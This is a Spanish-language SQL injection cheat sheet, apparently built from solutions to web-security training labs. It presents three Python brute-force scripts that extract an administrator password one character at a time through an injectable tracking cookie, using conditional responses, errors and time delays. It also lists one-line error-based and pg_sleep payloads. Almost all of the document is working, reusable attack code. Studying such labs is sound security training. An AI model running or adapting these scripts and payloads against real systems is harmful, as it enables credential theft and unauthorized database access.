Autor: Lund K. S.

SQL INJECION - SQLI CHEAT SHEET

06 Nov 2024

• SQL INJECTION

SCRIPTS QUE SIRVEN DE GUIA PARA LOS DIFERENTES TIPOS DE SQLI DE TIPOS

• CONDITIONAL REPONSE

sqli_base_response.py

#!/usr/bin/python3
from pwn import *
import requests,signal ,time,pdb,sys,string

def def_handler(sig,frame):
   print("\n\n [!] Saliendo... \n")
   sys.exit(1)

# ctrl + c
signal.signal(signal.SIGINT,def_handler)

main_url = "https://0a8d00e8034e08e980bcd096007a0046.web-security-academy.net/filter?category=Accessories"

characters = string.ascii_lowercase + string.ascii_uppercase + string.digits # caracteres lower case  + upper cas + numeros

def make_requests():
   password = ""

   p1 = log.progress("Fuerza bruta") # nombre la barra de progreso

   p2 = log.progress("password") # nombre de la 2 barra de progreso


   for posicion in range(1,21): #tamaño de la contraseña es 20 longitud
      for character in characters:
         #COOKIES VULNERABLES A SQL INJECTION
         cookies = {
         'TrackingId' : "aI7htw8h5K5p9nsH'  and (select substring(password,%d,1) from users  where username='administrator')='%s" % (posicion,character),
         'session': '0KWmmHJMHEayvKEXiNqiRKo7cikxvyJ7'
         }

         p1.status(cookies['TrackingId']) # resultado de la barra de progreso

         r = requests.get(main_url,cookies=cookies) # respuesta de la peticion se almacena en r

         #si en la respuesta es presente la palabra que es el que indica si fue existoso o no 
         #!!! IMPORTANTE !!! TIENEN OTROS METODOS COMO : r.status_code , r.headers , r.cookies , r.text , r.json() , r.url
         if "Welcome back!" in r.text: 
            password += character
            p2.status(password) # resultado de la 2 barra  de progreso
            break

if __name__ == '__main__':
   make_requests()

• CONDITIONAL ERRORS

#!/usr/bin/python3
from pwn import *
import requests,signal ,time,pdb,sys,string

def def_handler(sig,frame):
   print("\n\n [!] Saliendo... \n")
   sys.exit(1)

# ctrl + c
signal.signal(signal.SIGINT,def_handler)

main_url = "https://0a7b0003031a897d821d584700da0099.web-security-academy.net/filter?category=Pets"

characters = string.ascii_lowercase + string.digits + string.ascii_uppercase  # caracteres lower case  + upper cas + numeros

def make_requests():
   password = ""

   p1 = log.progress("Fuerza bruta") # nombre la barra de progreso
   p1.status("iniciando Ataque de fuerza bruta")

   p2 = log.progress("password") # nombre de la 2 barra de progreso


   for posicion in range(1,21): #tamaño de la contraseña es 20 longitud
      for character in characters:
         #COOKIES VULNERABLES A SQL INJECTION
         cookies = {
         # ALTERNATIVE UNION
         #'TrackingId' : "eo2xoI5AgMd0hAuZ' union SELECT CASE WHEN SUBSTR(password,%d,1)='%s' THEN TO_CHAR(1/0) ELSE NULL END FROM users where  username='administrator" % (posicion,character),   
         'TrackingId' : "eo2xoI5AgMd0hAuZ'||(SELECT CASE WHEN SUBSTR(password,%d,1)='%s' THEN TO_CHAR(1/0) ELSE NULL END FROM users where  username='administrator') -- -" % (posicion,character),
         'session': 'xDpaeLgKAz0vkTMsSDeqTvj0wFINKQ7E'
         }

         #p1.status(cookies['TrackingId']) # resultado de la barra de progreso

         r = requests.get(main_url,cookies=cookies) # respuesta de la peticion se almacena en r

         #si en la respuesta es presente la palabra que es el que indica si fue existoso o no 
         #!!! IMPORTANTE !!! TIENEN OTROS METODOS COMO : r.status_code , r.headers , r.cookies , r.text , r.json() , r.url
         #print(r.status_code , "status code is" , type(r.status_code))
         if r.status_code == 500:           
            password += character
            p2.status(password) # resultado de la 2 barra  de progreso
            break

if __name__ == '__main__':
   make_requests()

• CONDITIONAL VISIBLE ERROR-BASED

CODE ' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--

CODE ' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

• CONDITIONAL TIME DELAYS

CODE ' ||pg_sleep(10)--

• CONDITIONAL TIME DELAYS AND INFORMATION RETRIEVAL

#!/usr/bin/python3
from pwn import *
import requests,signal ,time,pdb,sys,string
import time

def def_handler(sig,frame):
   print("\n\n [!] Saliendo... \n")
   sys.exit(1)

# ctrl + c
signal.signal(signal.SIGINT,def_handler)

main_url = "https://0a7b0085035e05c982ca4890000900ce.web-security-academy.net/"

characters = string.ascii_lowercase + string.digits + string.ascii_uppercase # caracteres lower case  + upper cas + numeros

def make_requests():
   password = ""

   p1 = log.progress("Fuerza bruta") # nombre la barra de progreso
   p1.status("iniciando Ataque de fuerza bruta")

   time.sleep(2)

   p2 = log.progress("password") # nombre de la 2 barra de progreso

   for posicion in range(1,21): #tamaño de la contraseña es 20 longitud
      for character in characters:
         #COOKIES VULNERABLES A SQL INJECTION
         cookies = {
         #'TrackingId' : "aI7htw8h5K5p9nsH'  and (select substring(password,%d,1) from users  where username='administrator')='%s" % (posicion,character),
         'TrackingId' : "Gy3TXaYnfSL2TjM4'||(SELECT CASE WHEN SUBSTRING(password,%d,1)='%s' THEN pg_sleep(2) ELSE pg_sleep(0) END FROM users where  username='administrator')-- -" % (posicion,character),
         'session': 'TnYaZkYbsu9QJFuBPS3VF8frQBa7SA7I'
         }

         p1.status("Posición {}: Probando carácter '{}'".format(posicion, character))

         time_start = time.time()
         r = requests.get(main_url,cookies=cookies) # respuesta de la peticion se almacena en r

         time_end = time.time()

         #si en la respuesta es presente la palabra que es el que indica si fue existoso o no 
         #!!! IMPORTANTE !!! TIENEN OTROS METODOS COMO : r.status_code , r.headers , r.cookies , r.text , r.json() , r.url
         if time_end - time_start > 2 : 
            password += character
            p2.status(password) # resultado de la 2 barra  de progreso
            break

if __name__ == '__main__':
   make_requests()